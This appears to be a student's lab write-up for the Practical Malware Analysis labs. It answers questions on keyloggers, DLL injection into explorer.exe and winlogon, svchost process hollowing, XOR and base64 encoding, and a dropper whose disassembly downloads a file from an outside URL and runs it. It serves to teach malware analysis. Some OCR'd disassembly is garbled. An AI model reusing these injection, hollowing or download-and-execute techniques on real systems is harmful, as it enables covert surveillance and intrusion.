cisvc.exe	2.78	1,112 K	3,472 K	1680	Application Layer Gateway S...	Microsoft Corporation
cidaemon.exe		1,120 K	268 K	824	Indexing Service filter daemon	Microsoft Corporation
lsass.exe		3,584 K	1,064 K	716	LSA Shell (Export Version)	Microsoft Corporation
explorer.exe		19,628 K	25,264 K	1756	Windows Explorer	Microsoft Corporation
VMwareTray.exe		872 K	3,332 K	1992	VMware Tools tray application	VMware, Inc.
VMwareUser.exe		7,632 K	11,416 K	2000	VMware Tools Service	VMware, Inc.
ctfmon.exe		844 K	3,176 K	144	CTF Loader	Microsoft Corporation
memmgr.exe		1,336 K	1,300 K	168	Windows Messenger	Microsoft Corporation
procexp.exe	6.94	10,160 K	12,972 K	548	Sysinternals Process Explorer	Sysinternals - www.sysinter...
Procmon.exe		10,632 K	14,000 K	1172	Process Monitor	Sysinternals - www.sysinter...

Name	Description	Company Name	Path
gdi32.dll	GDI Client DLL	Microsoft Corporation	C:\WINDOWS\system32\gdi32.dll
imm32.dll	Windows XP IMM32 API Client DLL	Microsoft Corporation	C:\WINDOWS\system32\imm32.dll
inet_epar32.dll			C:\WINDOWS\system32\inet_epar32.dll
kernel32.dll	Windows NT BASE API Client DLL	Microsoft Corporation	C:\WINDOWS\system32\kernel32.dll
locale.nls			C:\WINDOWS\system32\locale.nls
msacm32.dll	Microsoft ACM Audio Filter	Microsoft Corporation	C:\WINDOWS\system32\msacm32.dll
msvcr7.dll	Windows NT CRT DLL	Microsoft Corporation	C:\WINDOWS\system32\msvcr7.dll
ntdll.dll	NT Layer DLL	Microsoft Corporation	C:\WINDOWS\system32\ntdll.dll
ntmarta.dll	Windows NT MARTA provider	Microsoft Corporation	C:\WINDOWS\system32\ntmarta.dll
ole32.dll	Microsoft OLE for Windows	Microsoft Corporation	C:\WINDOWS\system32\ole32.dll

Figure 10. inet_epar32.dll loaded in cisvc.exe

v. What does Lab11-03.dll do?

Using **GetAsyncKeyState** and **GetForegroundWindow**, the dll logs keystrokes into **C:\Windows\System32\kernel64x.dll**. The dll also uses a mutex “MZ” to prevent multiple instances of the keylogger is running at once.

Process Explorer - Sysinternals: www.sysinternals.com [USER-FC2TC8345\administrator]

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
System Idle Process	100.00	0 K	28 K	0		
System	< 0.01	0 K	236 K	4		
smss.exe		168 K	388 K	580	580 Windows NT Session Mana...	Microsoft Corporation
csss.exe		1,564 K	3,312 K	628	628 Client Server Runtime Process	Microsoft Corporation
winlogon.exe		6,968 K	3,608 K	660	660 Windows NT Logon Application	Microsoft Corporation
services.exe		3,416 K	5,448 K	704	704 Services and Controller app	Microsoft Corporation
vmacthl.exe		588 K	2,548 K	876	876 VMware Activation Helper	VMware, Inc.
svchost.exe		2,984 K	4,700 K	888	888 Generic Host Process for Wi...	Microsoft Corporation
wmpirvse.exe		2,236 K	4,496 K	1548	WMI	Microsoft Corporation
svchost.exe		1,688 K	4,132 K	968	968 Generic Host Process for Wi...	Microsoft Corporation
svchost.exe		12,384 K	20,592 K	1052	1052 Generic Host Process for Wi...	Microsoft Corporation
svchost.exe		1,204 K	3,456 K	1100	1100 Generic Host Process for Wi...	Microsoft Corporation
svchost.exe		1,756 K	4,692 K	1152	1152 Generic Host Process for Wi...	Microsoft Corporation
spoolsv.exe		3,700 K	5,364 K	1452	1452 Spooler SubSystem App	Microsoft Corporation
VMwareService.exe		1,708 K	4,208 K	620	620 VMware Tools Service	VMware, Inc.
alg.exe		1,112 K	3,472 K	1680	1680 Application Layer Gateway S...	Microsoft Corporation
ciscv.exe		2,368 K	1,464 K	900	900 Content Index service	Microsoft Corporation
cidaemon.exe		1,120 K	388 K	824	824 Indexing Service filter daemon	Microsoft Corporation
lsass.exe		3,584 K	1,120 K	716	716 LSA Shell (Export Version)	Microsoft Corporation
explorer.exe	19.640 K	25,272 K	1756	Windows Explorer	Microsoft Corporation	
VMwareTray.exe		872 K	3,332 K	1992	1992 VMware Tools tray application	VMware, Inc.
VMwareUser.exe		7,632 K	11,416 K	2000	2000 VMware Tools Service	VMware, Inc.

Type	Name
Process	cisvc.exe(900)
Mutant	\BaseNamedObjects\ShimCacheMutex
Mutant	\BaseNamedObjects\c:\system volume information\catalog.wci_\cimutexsem
Mutant	\BaseNamedObjects_\CPerfMonMutex
Mutant	\BaseNamedObjects\MZ
Mutant	\BaseNamedObjects\SHIMLIB_LOG_MUTEX
KeyedEvent	\KernelObjects\CritSecOutOfMemoryEvent

Figure 11. Mutex MZ

vi. Where does the malware store the data it collects?


In C:\Windows\System32\kernel64.dll

Practical No. 6

a. Analyze the malware found in the file *Lab12-01.exe* and *Lab12-01.dll*. Make sure that these files are in the same directory when performing the analysis.

i. What happens when you run the malware executable?

A Message box with a incremental number in its title pops up every now and then...



ii. What process is being injected?

In the imports table, `CreateRemoteThread` is used by the exe which highly suggests that the malware might be injecting DLL into processes.

Address	Ordinal	Name	Library
00405000		CloseHandle	KERNEL32
00405004		OpenProcess	KERNEL32
00405008		CreateRemoteThread	KERNEL32
0040500C		GetModuleHandleA	KERNEL32
00405010		WriteProcessMemory	KERNEL32
00405014		VirtualAllocEx	KERNEL32
00405018		IstrcatA	KERNEL32
0040501C		GetCurrentDirectoryA	KERNEL32
00405020		GetProcAddress	KERNEL32
00405024		LoadLibraryA	KERNEL32
00405028		GetCommandLineA	KERNEL32
0040502C		GetVersion	KERNEL32
00405030		ExitProcess	KERNEL32
00405034		TerminateProcess	KERNEL32
00405038		GetCurrentProcess	KERNEL32
0040503C		UnhandledExceptionFilter	KERNEL32

Figure 2. CreateRemoteThread in imports

“explorer.exe” is found in the list of string. X-ref the string and we will come to the following subroutine. Seems like explorer.exe is being targeted to be injected with the malicious dll.

```

.text:00401036          lea     edi, [ebp+var_FE]
.text:0040103C          rep    stosd
.text:0040103E          stosw
.text:00401040          mov    eax, [ebp+dwProcessId]
.text:00401043          push   eax           ; dwProcessId
.text:00401044          push   0              ; bInheritHandle
.text:00401046          push   410h          ; dwDesiredAccess
.text:00401048          call   ds:OpenProcess
.text:00401051          mov    [ebp+hObject], eax
.text:00401054          cmp    [ebp+hObject], 0
.text:00401058          jz    short loc_401095
.text:0040105A          lea    ecx, [ebp+var_110]
.text:00401060          push   ecx
.text:00401061          push   4
.text:00401063          lea    edx, [ebp+var_10C]
.text:00401069          push   edx
.text:0040106A          mov    eax, [ebp+hObject]
.text:0040106D          push   eax
.text:0040106E          call   dword_408714
.text:00401074          test  eax, eax
.text:00401076          jz    short loc_401095
.text:00401078          push   104h
.text:0040107D          lea    ecx, [ebp+var_108]
.text:00401083          push   ecx
.text:00401084          mov    edx, [ebp+var_10C]
.text:0040108A          push   edx
.text:0040108B          mov    eax, [ebp+hObject]
.text:0040108E          push   eax
.text:0040108F          call   dword_40870C
.text:00401095          loc_401095:      ; CODE XREF: sub_401000+58↑j
                                         ; sub_401000+76↑j
.text:00401095          push   0Ch           ; size_t
.text:00401095          push   offset aExplorer_exe ; "explorer.exe"
.text:00401097          lea    ecx, [ebp+var_108]
.text:0040109C          push   ecx           ; char *
.text:004010A2          call   _strnicmp
.text:004010A3          add    esp, 0Ch
.text:004010A8          test  eax, eax
.text:004010AD          jnz   short loc_4010B6
.text:004010AF          mov    eax, 1
.text:004010B4          jmp   short loc_4010C2

```

Figure 3. explorer.exe

We can confirm our suspicion using process explorer as shown below.




Figure 4. Explorer.exe injected with dll

iii. How can you make the malware stop the pop-ups?

Kill explorer.exe and re-run it again

iv. How does this malware operate?

Lab12-01.exe

The malware begins by using psapi.dll's [EnumProcesses](#) to loop through all running processes. Also note that it attempts to form the absolute path for the malicious dll. This will be used later to inject the dll in remote processes.




Figure 6. Check for explorer.exe

Once the malware located the “explorer.exe” process, it will ask the remote process (explorer.exe) to allocate a heap space. The space will contain the malicious dll’s absolute path as mentioned earlier. It will then get the LoadLibraryA address of explorer.exe and triggers the function via CreateRemoteThread. Explorer.exe will then invoke LoadLibraryA with the input as the malicious dll’s absolute path which is already in its heap memory and that is how explorer.exe got injected. =)




Figure 8. Create Thread

Inside this subroutine, we will find an infinite loop popping a message box every 1 minute. The title of the message box is “Practical Malware Analysis %d” where %d is the value of the loop counter.




Figure 9. Popping MsgBox every minute

b. Analyze the malware found in the file *Lab12-02.exe*.

b. What is the purpose of this program?

Based on dynamic analysis results using procmon and process explorer, we can conclude that this is a keylogger that performs process hollowing on svchost.exe.

Time...	Process Name	PID	Operation	Path	Result	Detail	Parent PID
11:08...	svchost.exe	1348	WriteValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\RNG\Seed	SUCCESS	Type: REG_BINARY	1244
11:08...	svchost.exe	1348	WriteFileInformationFile	C:\Windows\System32\config\software.LOG	SUCCESS	EndOfFile: 8,192	1244
11:08...	svchost.exe	1348	WriteFileInformationFile	C:\Windows\System32\config\software.LOG	SUCCESS	EndOfFile: 8,192	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 0, Length: 12	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 12, Length: ...	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 34, Length: 4	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 38, Length: 1	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 39, Length: 1	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 40, Length: 1	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 41, Length: 1	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 42, Length: 1	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 43, Length: 1	1244
11:08...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 44, Length: 1	1244
11:10...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 45, Length: 1	1244
11:10...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 46, Length: 1	1244
11:10...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 47, Length: 1	1244
11:10...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 48, Length: 1	1244
11:10...	svchost.exe	1348	WriteFile	C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_12\practicalmalwareanalysis.log	SUCCESS	Offset: 49, Length: ...	1244

Figure 1. Write file to practicalmalwareanalysis.log

```
[window: Process Monitor Filter]
svchost!244
[window: Process Monitor - sysinternals: www.sysinternals.com]

[window: Run]
notepad@ [ENTER]
[window: Untitled - Notepad]
deadbeef@ [ENTER] jmp rsp0 [ENTER] hellow rBACKSPACE worBACKSPACE BACKSPACE BACKSPACE BACKSPACE BACKSPACE BACKSPACE world
```

Figure 2. Keystrokes in log file

ii. How does the launcher program hide execution?

The subroutine @0x004010EA is highly suspicious. It is trying to create a process in suspended state, calls UnmapViewOfSection to unmap the original code and tries to write process memory in it. Finally it resumes the process. This is a recipe for process hollowing technique in which the running process will look like svchost.exe (in this case) but it is actually running something else instead.



```

loc_401289:    ; lpNumberOfBytesWritten
push 0
push 4           ; nSize
mov edx, [ebp+var_8]
add edx, 34h
push edx         ; lpBuffer
mov eax, [ebp+lpContext]
mov ecx, [eax+0A4h]
add ecx, 8
push ecx         ; lpBaseAddress
mov edx, [ebp+ProcessInformation.hProcess]
push edx         ; hProcess
call ds:WriteProcessMemory
mov eax, [ebp+var_8]
mov ecx, [ebp+lpBaseAddress]
add ecx, [eax+28h]
mov edx, [ebp+lpContext]
mov [edx*0008h], ecx
mov eax, [ebp+lpContext]
push eax         ; lpContext
mov ecx, [ebp+ProcessInformation.hThread]
push ecx         ; hThread
call ds:SetThreadContext
mov edx, [ebp+ProcessInformation.hThread]
push edx         ; hThread
call ds:ResumeThread
jmp short loc_401308

```

Figure 4. WriteProcessMemory, ResumeThread

iii. Where is the malicious payload stored?

In the resource, we can see a suspicious looking payload. IDA Pro further confirmed that this is the payload that will be extracted out.




Figure 5. Resource with lots of As in it

```
; Attributes: bp-based frame
; int __cdecl FindResource(HMODULE hModule)
FindResource proc near

hResData= dword ptr -14h
hResInfo= dword ptr -10h
dwSize= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4
hModule= dword ptr 8

push    ebp
mov     ebp, esp
sub    esp, 14h
mov     [ebp+hResInfo], 0
mov     [ebp+hResData], 0
mov     [ebp+var_4], 0
mov     [ebp+dwSize], 0
mov     [ebp+var_8], 0
cmp     [ebp+hModule], 0
jnz     short loc_401362
```

```
loc_401362:           ; "UNICODE"
push    offset Type
push    offset Name   ; "LOCALIZATION"
mov     eax, [ebp+hModule]
push    eax           ; hModule
call    ds:FindResourceA
mov     [ebp+hResInfo], eax
cmp     [ebp+hResInfo], 0
jnz     short loc_401386
```

```
loc_401386:
mov     ecx, [ebp+hResInfo]
push    ecx           ; hResInfo
mov     edx, [ebp+hModule]
push    edx           ; hModule
call    ds:LoadResource
mov     [ebp+hResData], eax
cmp     [ebp+hResData], 0
jnz     short loc_4013A2
```

iv. How is the malicious payload protected?

By analyzing the find resource function @0x0040132C we will come across the following codes that suggests to us that the payload is XOR by “A”.

```
.text:0040141B loc_40141B:          ; CODE XREF: FindResource+E0↑j
.text:0040141B                 push    'A'           ; XOR Key
.text:0040141D                 mov     edx, [ebp+dwSize]
.text:00401420                 push    edx
.text:00401421                 mov     eax, [ebp+var_8]
.text:00401424                 push    eax
.text:00401425                 call    XOR
.text:0040142A                 add    esp, 0Ch
```

Figure 7. XOR by A

v. How are strings protected?

The strings are in plain... correct me if i am wrong

'S'	.data:0040506C	0000000D	C LOCALIZATION
'S'	.data:00405064	00000008	C UNICODE
'S'	.data:00405058	0000000A	C ntdll.dll
'S'	.data:00405040	00000015	C NtUnmapViewOfSection
'S'	.data:00405030	0000000D	C \\svchost.exe

Figure 8. Strings in plain

c. Analyze the malware extracted during the analysis of Lab 12-2, or use the file Lab12-03.exe**i. What is the purpose of this malicious payload?**

The use of SetWindowsHookExA with WH_KEYBOARD_LL as the id which suggests that this is a keylogger.





Figure 1. SetWindowsHookExA

The subroutine check if the process with the given process id is Winlogon.exe. If it is, it returns 1 else it returns 0.

```
STOSB
mov    edx, [ebp+duProcessId]
push   edx          ; duProcessId
push   0             ; bInheritHandle
push   410h          ; duDesiredAccess
call   ds:OpenProcess
mov    [ebp+hObject], eax
cnp    [ebp+hObject], 0
jz    short loc_4010C2
```



ii. Which process has code injected?

Winlogon.exe is being targeted for injection. Subroutine @0x00401174 is responsible for process injection via CreateRemoteThread. If we trace back, we can see that only winlogon's pid is being passed to the subroutine.




Figure 3. sfc_os.dll

iv. What is the fourth argument passed to the CreateRemoteThread call?

Based on figure 3, the fourth argument is lpStartAddress in which if we were to trace up we will uncover that lpStartAddress is the address return by GetProcAddress(LoadLibraryA("sfc_os.dll"),2).

Loading sfc_os.dll in ida pro we can see the exports that points to ordinal 2 which resolves to SfcTerminateWatcherThread() as shown in figure 5..

Name	Address	Ordinal
sfc_os_1	76C6F382	1
sfc_os_2	76C6F250	2
sfc_os_3	76C693E8	3
sfc_os_4	76C69426	4
sfc_os_5	76C69436	5
sfc_os_6	76C694B2	6
sfc_os_7	76C694EF	7
SfcGetNextProtectedFile	76C69918	8
SfcIsFileProtected	76C697C8	9
SfcWLEventLogoff	76C73CF7	10
SfcWLEventLogon	76C7494D	11
SfcDIIEntry(x,x,x)	76C6F03A	[main entry]

Figure 4. sfc_os.dll's ordinal 2





Figure 5. SfcTerminateWatcherThread()

v. What malware is dropped by the main executable?

Analyzing the main method, we can see file movement from “C:\WINDOWS\system32\wupdmg.exe” to a temp folder “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\winup.exe”



Figure

6. Backing up wupdmg.exe

The following subroutine is then called to extract the resource out from the executable and using it to replace “C:\WINDOWS\system32\wupdmg.exe”

```
sub_4011FC proc near
    hFile= dword ptr -238h
    Dest= byte ptr -234h
    var_233= byte ptr -233h
    hResInfo= dword ptr -124h
    nNumberOfBytesToWrite= dword ptr -120h
    Buffer= byte ptr -11Ch
    var_11B= byte ptr -11Bh
    hModule= dword ptr -8Ch
    lpBuffer= dword ptr -8
    NumberOfBytesWritten= dword ptr -4

    push    ebp
    mov     ebp, esp
    sub    esp, 238h
    push    edi
    mov     [ebp+hModule], 0
    mov     [ebp+hResInfo], 0
    mov     [ebp+lpBuffer], 0
    mov     [ebp+hFile], 0
    mov     [ebp+nNumberOfBytesWritten], 0
    mov     [ebp+nNumberOfBytesToWrite], 0
    mov     [ebp+Buffer], 0
    mov     ecx, 43h
    xor     eax, eax
    lea     edi, [ebp+var_11B]
    rep stosd
    stosb
    mov     [ebp+Dest], 0
    xor     eax, eax
    lea     edi, [ebp+var_233]
    rep stosd
    stosb
    push    10Eh          ; uSize
    lea     eax, [ebp+Buffer]
    push    eax            ; lpBuffer
    call    ds:GetWindowsDirectoryA
    push    offset aSystem32Wupdmg ; "\\system32\\wupdmg.exe"
    lea     ecx, [ebp+Buffer]
    push    ecx
    push    offset Format   ; "%S%S"
    push    10Eh          ; Count
    lea     edx, [ebp+Dest]
    push    edx            ; Dest
    call    ds:_snprintf
    add    esp, 14h
    push    0               ; lpModuleName
    call    ds:GetModuleHandleA
    mov     [ebp+hModule], eax
    push    offset Type    ; "BIN"
    push    offset Name    ; "R101"
    mov     eax, [ebp+hModule]
    push    eax            ; hModule
    call    ds:FindResourceA
    mov     [ebp+hResInfo], eax
    mov     ecx, [ebp+hResInfo]
    push    ecx            ; hResInfo
    mov     edx, [ebp+hModule]
    push    edx            ; hModule
    call    ds:LoadResource
    mov     febb+10Buffer1, eax
```

Figure 7. dropping form resource to system32\\wupdmg.exe

```
mov    [ebp+var_444], 0
lea    eax, [ebp+Buffer]
push   eax          ; lpBuffer
push   10Eh         ; nBufferLength
call   ds:GetTempPathA
push   offset aWinup_exe ; "\winup.exe"
lea    ecx, [ebp+Buffer]
push   ecx
push   offset Format  ; "%s%s"
push   10Eh          ; Count
lea    edx, [ebp+Dest]
push   edx          ; Dest
call   ds:_snprintf
add    esp, 14h
push   5             ; uCmdShow
lea    eax, [ebp+Dest]
push   eax          ; lpCmdLine
call   ds:WinExec   ; execute original wupdmgrd.exe
push   10Eh          ; uSize
lea    ecx, [ebp+var_330]
push   ecx          ; lpBuffer
call   ds:GetWindowsDirectoryA
push   offset aSystem32Wupdng ; "\system32\wupdngrd.exe"
lea    edx, [ebp+var_330]
push   edx
push   offset aSS_0   ; "%s%s"
push   10Eh          ; Count
lea    eax, [ebp+CmdLine]
push   eax          ; Dest
call   ds:_snprintf
add    esp, 14h
push   0             ; LPBINDSTATUSCALLBACK
push   0             ; DWORD
lea    ecx, [ebp+CmdLine]
push   ecx          ; LPCSTR
push   offset aHttpWwww_practi ; "http://www.practicalmalwareanalysis.com"...
push   0             ; LPUNKNOWN
call   URLDownloadToFileA
mov    [ebp+var_444], eax
cmp    [ebp+var_444], 0
inz    short loc 401124
```



```
push   0             ; uCmdShow
lea    edx, [ebp+CmdLine]
push   edx          ; lpCmdLine
call   ds:WinExec
```

Figure 9. URLDownloadToFileA

Practical No. 7

a. Analyze the malware found in the file *Lab13-01.exe*.

i. Compare the strings in the malware (from the output of the strings command) with the information available via dynamic analysis. Based on this comparison, which elements might be encoded?

In IDA Pro, we can see the following strings which are of not much meaning. However on execution, if we were to strings the memory using process explorer and sniff the network traffic, we can observe some new strings such as <http://www.practicalmalwareanalysis.com>.

Address	Length	Type	String
's' .rdata:004050E9	00000033	C	BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
's' .rdata:0040511D	0000000C	C	123456789+/
's' .rdata:00405156	00000006	unic...	OP
's' .rdata:0040515D	00000008	C	(8PX\ a\b
's' .rdata:00405165	00000007	C	700WP\ a
's' .rdata:00405174	00000008	C	\b'h`~~~
's' .rdata:0040517D	0000000A	C	ppxxx\b\ a\b
's' .rdata:00405198	0000000E	unic...	(null)
's' .rdata:004051A8	00000007	C	(null)
's' .rdata:004051B0	0000000F	C	runtime error
's' .rdata:004051C4	0000000E	C	TLOSS error\r\n
's' .rdata:004051D4	0000000D	C	SING error\r\n
		C	DOMAIN

Figure 1. Meaningless string




Figure 2. URL found

ii. Use IDA Pro to look for potential encoding by searching for the string xor. What type of encoding do you find?

The subroutine @0x00401300 loads a resource in the binary and xor the value with “;“.





Figure 3. FIndResourceA 101



Figure 4. Resource String



KANAL plugin located 4 addresses that uses
“ABCDEF~~GHIJKL~~MNOPQR~~STUVWXY~~Zabc~~defghijk~~lmnopqrstuvwxyz0123456789+/-”

v. What type of encoding is used for a portion of the network traffic sent by the malware?

base64 encoding is used to encode the computer name.




Figure 7. Encoding string




Figure 8. String encoded

```

; BOOL __stdcall httpRead(HINTERNET hFile, LPUOID lpBuffer, DWORD dwNumberOfBytesTo
httpRead proc near

    Buffer= byte ptr -558h
    hFile= dword ptr -358h
    szUrl= byte ptr -354h
    hInternet= dword ptr -154h
    name= byte ptr -150h
    szAgent= byte ptr -50h
    var_30= byte ptr -30h
    var_28= dword ptr -28h
    var_27= dword ptr -27h
    var_23= dword ptr -23h
    dwNumberOfBytesRead= dword ptr -1Ch
    var_18= byte ptr -18h
    var_C= byte ptr -8Ch
    var_8= dword ptr -8
    var_4= dword ptr -4
    arg_0= dword ptr 8
    lpBuffer= dword ptr 0Ch
    dwNumberOfBytesToRead= dword ptr 10h
    lpdwNumberOfBytesRead= dword ptr 14h

    push    ebp
    mov     ebp, esp
    sub     esp, 558h
    mov     [ebp+var_30], 0
    xor     eax, eax
    mov     dword ptr [ebp+var_30+1], eax
    mov     [ebp+var_28], eax
    mov     [ebp+var_27], eax
    mov     [ebp+var_23], eax
    push    offset aMozilla4_0 ; "Mozilla/4.0"
    lea     ecx, [ebp+szAgent]
    push    ecx ; char *
    call    _sprintf
    add    esp, 8
    push    100h ; namelen
    lea     edx, [ebp+name]
    push    edx ; name
    call    gethostname
    mov     [ebp+var_4], eax
    push    12 ; copy 12 characters
    lea     eax, [ebp+name]
    push    eax ; char *
    lea     ecx, [ebp+var_18]
    push    ecx ; char *
    call    _strncpy

```

Figure

10. Only 12 Characters

viii. In this malware, would you ever see the padding characters (= or ==) in the Base64-encoded data?

According to [wiki](#). If the plain text is not divisible by 3, padding will present in the encoded string.

ix. What does this malware do?

It keeps sending the computer name (max 12 bytes) to <http://www.practicalmalwareanalysis.com> every 30 seconds until 0x6F is received as the first character in the response.

b. Analyze the malware found in the file *Lab13-02.exe*

i. Using dynamic analysis, determine what this malware creates.

A file with size 6,214 KB is written on the same folder as the executable every few seconds. The naming convention of the file is **temp[8xhexadecimal]**. The file created seems random.




Figure 1. Proc Mon

ii. Use static techniques such as an xor search, FindCrypt2, KANAL, and the IDA Entropy Plugin to look for potential encoding. What do you find?

Only managed to find XOR instructions. Based on the search result, we would need to look at the following subroutine

1. 0x0040128D
2. 0x00401570
3. 0x00401739

Address	Function	Instruction
.text:00401040	sub_401000	xor eax, eax
.text:004012D6	sub_40128D	xor eax, [ebp+var_10]
.text:0040171F	sub_401570	xor eax, [esi+edx*4]
.text:0040176F	sub_401739	xor edx, [ecx]
.text:0040177A	sub_401739	xor edx, ecx
.text:00401785	sub_401739	xor edx, ecx
.text:00401795	sub_401739	xor eax, [edx+8]
.text:004017A1	sub_401739	xor eax, edx
.text:004017AC	sub_401739	xor eax, edx
.text:004017BD	sub_401739	xor ecx, [eax+10h]
.text:004017C9	sub_401739	xor ecx, eax
.text:004017D4	sub_401739	xor ecx, eax
.text:004017E5	sub_401739	xor edx, [ecx+18h]
.text:004017F1	sub_401739	xor edx, ecx
.text:004017FC	sub_401739	xor edx, ecx
.text:0040191E	_main	xor eax, eax
.text:0040311A		xor dh, [eax]
.text:0040311E		xor [eax], dh
.text:00403688		xor ecx, ecx
.text:004036A5		xor edx, edx

Figure 2. XOR

iii. Based on your answer to question 1, which imported function would be a good prospect for finding the encoding functions?

WriteFile. Trace up from WriteFile and we might locate the function responsible for encoding the contents.

iv. Where is the encoding function in the disassembly?

The encoding function is @0x0040181F. Tracing up from WriteFile, you will come across a function @0x0040181F. The function calls another subroutine(0x00401739) that performs the XOR operations and some shifting operations.

```
; Attributes: bp-based frame
sub_401851 proc near

FileName= byte ptr -20Ch
hMem= dword ptr -0Ch
nNumberOfBytesToWrite= dword ptr -8
var_4= dword ptr -4

push    ebp
mov     ebp, esp
sub    esp, 20Ch
mov    [ebp+hMem], 0
mov    [ebp+nNumberOfBytesToWrite], 0
lea     eax, [ebp+nNumberOfBytesToWrite]
push   eax
lea     ecx, [ebp+hMem]
push   ecx
call   GetData      ; Steal Data
add    esp, 8
mov    edx, [ebp+nNumberOfBytesToWrite]
push   edx
mov    eax, [ebp+hMem]
push   eax
call   encode       ; Encode Data
add    esp, 8
call   ds:GetTickCount
mov    [ebp+var_4], eax
mov    ecx, [ebp+var_4]
push   ecx
push   offset aTemp08x ; "temp%08x"
lea     edx, [ebp+FileName]
push   edx          ; char *
call   _sprintf
add    esp, 0Ch
lea     eax, [ebp+FileName]
push   eax          ; lpFileName
mov    ecx, [ebp+nNumberOfBytesToWrite]
push   ecx          ; nNumberOfBytesToWrite
mnu   edx, [ehn+hMem]
```

Figure 3. encode

v. Trace from the encoding function to the source of the encoded content. What is the content?

vi. Can you find the algorithm used for encoding? If not, how can you decode the content?

The encoder used is pretty lengthy to go through. However if we look at the codes in 0x401739, we can see lots of xor operations. If it is xor encoding we might be able to get back the original data if we call this subroutine again with the encrypted data.

```
.text:00401739 xor          proc near           ; CODE XREF: encode+26↓p
.text:00401739
.text:00401739 var_4        = dword ptr -4
.text:00401739 arg_0        = dword ptr  8
.text:00401739 arg_4        = dword ptr  0Ch
.text:00401739 arg_8        = dword ptr  10h
.text:00401739 arg_C        = dword ptr  14h
.text:00401739
.text:00401739             push    ebp
.text:0040173A             mov     ebp, esp
.text:0040173C             push    ecx
.text:0040173D             mov     [ebp+var_4], 0
.text:00401744             jmp     short loc_40174F
.text:00401746 ;
.text:00401746
.text:00401746 loc_401746:      mov     eax, [ebp+var_4]           ; CODE XREF: xor+DD↓j
.text:00401746
.text:00401749             add     eax, 10h
.text:0040174C             mov     [ebp+var_4], eax
.text:0040174F
.text:0040174F loc_40174F:      mov     ecx, [ebp+var_4]           ; CODE XREF: xor+B↑j
.text:0040174F
.text:00401752             cmp     ecx, [ebp+arg_C]
.text:00401755             jnb    loc_40181B
.text:00401758             mov     edx, [ebp+arg_0]
.text:0040175E             push   edx
.text:0040175F             call   shiftOperations
.text:00401764             add    esp, 4
.text:00401767             mov    eax, [ebp+arg_4]
.text:0040176A             mov    ecx, [ebp+arg_0]
.text:0040176D             mov    edx, [eax]
.text:0040176F             xor    edx, [ecx]
.text:00401771             mov    eax, [ebp+arg_0]
.text:00401774             mov    ecx, [eax+14h]
.text:00401777             shr    ecx, 10h
.text:0040177A             xor    edx, ecx
.text:0040177C             mov    eax, [ebp+arg_0]
.text:0040177F             mov    ecx, [eax+0Ch]
.text:00401782             shl    ecx, 10h
.text:00401785             xor    edx, ecx
.text:00401787             mov    eax, [ebp+arg_8]
.text:0040178A             mov    [eax], edx
.text:0040178C             mov    ecx, [ebp+arg_4]
.text:0040178F             mov    edx, [ebp+arg_0]
.text:00401792             mov    eax, [ecx+4]
.text:00401795             xor    eax, [edx+8]
.text:00401798             mov    ecx, [ebp+arg_0]
.text:0040179B             mov    edx, [ecx+1Ch]
.text:0040179E             shr    edx, 10h
.text:004017A1             xor    eax, edx
.text:004017A3             mov    ecx, [ebp+arg_0]
.text:004017A6             mov    edx, [ecx+14h]
.text:004017A9             shl    edx, 10h
.text:004017AC             xor    eax, edx
```

Figure 5. xor operations

vii. Using instrumentation, can you recover the original source of one of the encoded files?

My way of decoding the encoded files is to use DLL injection. To do that, i write my own DLL and create a thread to run the following function on **DLL_PROCESS_ATTACHED**. To attach the DLL to the malware process, we first run the malware and use a tool called **Remote DLL injector** by securityxploded to inject the DLL into the malicious process.

```
void decode()
{
    WIN32_FIND_DATA ffd;
    LARGE_INTEGER filesize;
    TCHAR szDir[MAX_PATH];
    size_t length_of_arg;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    DWORD dwError=0;

    while(1){
        StringCchCopy(szDir, MAX_PATH, ".");
        StringCchCat(szDir, MAX_PATH, TEXT("\\*"));

        hFind = FindFirstFile(szDir, &ffd);

        myFuncPtr = (funptr)0x0040181F;
